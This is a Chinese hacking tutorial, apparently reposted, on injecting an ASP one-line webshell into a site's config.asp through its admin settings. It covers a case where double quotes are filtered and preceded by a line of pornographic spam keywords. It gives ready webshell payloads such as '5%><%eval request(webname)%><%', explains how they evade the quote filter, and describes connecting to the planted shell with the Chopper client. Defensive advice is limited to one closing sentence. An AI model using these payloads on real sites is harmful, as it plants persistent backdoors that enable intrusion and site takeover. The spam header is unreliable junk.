欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

淺說雙引號被過濾時一句話的插入與防范

  發(fā)布時間:2011-04-01 23:40:07   作者:佚名   我要評論
昨日小刀刀在群里拋了一個問題,說后臺插入一句話老是出錯,群里的朋友出了很多主意,但是最后還是沒搞定。后來這小子把問題拋給了我,昨天我就測試了一下。這里把情況介紹給大家。
一般而言,后臺插一句話,如果數據庫擴展名是asp的話,那么插數據庫,但是如果有配置文件可以插的話,那肯定是插入配置文件了,但是插入配置文件有一個很大的風險,那就是一旦出錯那么全盤皆輸,有可能不僅僅造成后臺無法登陸,甚至有可能是整個網站系統(tǒng)崩潰,所以插入配置文件,請慎之又慎。

話歸正題,如果想插入配置文件,一般是config.asp,那么首先需要了解這個文件的一般情況。

網站的配置一般是保存網站名,地址,email之類的,既然是字符,那么格式應當是
webname=“test website”

對于這樣的配置插入一句話的話,我們的機會就是替換test website,那么需要閉合2個",同時要插入一句話,語句可以這樣

"%><%eval request("d"%><%s="

那么在config.asp中就是

webname=“    "%><%eval request("d"%><%s="          ”


第一個"是閉合前面的配置文件中的",%>就是閉合前一段腳本,之后插入一句話<%eval request("d"%>,現(xiàn)在要閉合原來的"和%>

所以加入<%s=",這里特別要注意“s=”,如果沒有這個等號的話,那么就會成<%" ",這樣必將出錯。

好了,這是常規(guī)的辦法,現(xiàn)在我們回到開始那個問題,按照前面的方法插入


插入后,我們再點擊“網站設置” ,出現(xiàn)錯誤



從這個錯誤,我們可以得到2個信息。

第一,配置文件的路徑:http://www.target.com/zfbm/zfb/inc/config.asp

第二,網站名的變量為webname。


昨天由于很晚了,就沒繼續(xù)看,今天出差,晚上回來剛剛上Q,小刀刀就q我,說拿下了,并說這個后臺過濾了雙引號",結合昨天的錯誤一看果然是,由于我們閉合前面雙引號起"的那個雙引號收"被過濾成單引號',所以就成了webname=" ',這樣的話那么這個雙引號沒有閉合,由于雙引號是vbscript的控制符,沒有閉合config.asp運行必然出錯。那么我們遇到這種雙引號被過濾了的情況改怎么辦呢。

由于插入一句話必須要用雙引號括起來,而輸入雙引號又被過濾,所以我們可以利用他們自身的雙引號來解決。

在配置文件中,我們還可以看到這樣一些設置




就是配置網站的公告數 ,文章數等??梢约僭O一下,他必然是整數賦值,沒有雙引號包括
num=5
num是整數型,不然就成字符了num="5"

那么我們的一句話就可以這樣構建,如圖



在公告數中我們插入5%><%eval request(webname)%><%

必須要有5,不然將會出錯,在網站名中我們插入"open"

由于我們沒有輸入雙引號,不存在過濾,我們利用 配置文件本身的雙引號來達到目的。那么配置文件現(xiàn)在的內容如下
<%
....................
webname="open"
num=5%><%eval request(webname)%><%
webnum=7
.......
%>

我們的一句話就相應為
eval request("open"),open為密碼。

用菜刀成功連接


從上可見,我們成功利用配置文件本身避開了一句話中雙引號被過濾的問題。

那么在網頁設計方面,我們可以增加過濾<,%,>或者組合<%,%>這些特殊符號,禁止這些符號的輸入,那么將大大增加網頁安全。

by daokers  2010.4.28深夜于Canton

相關文章

最新評論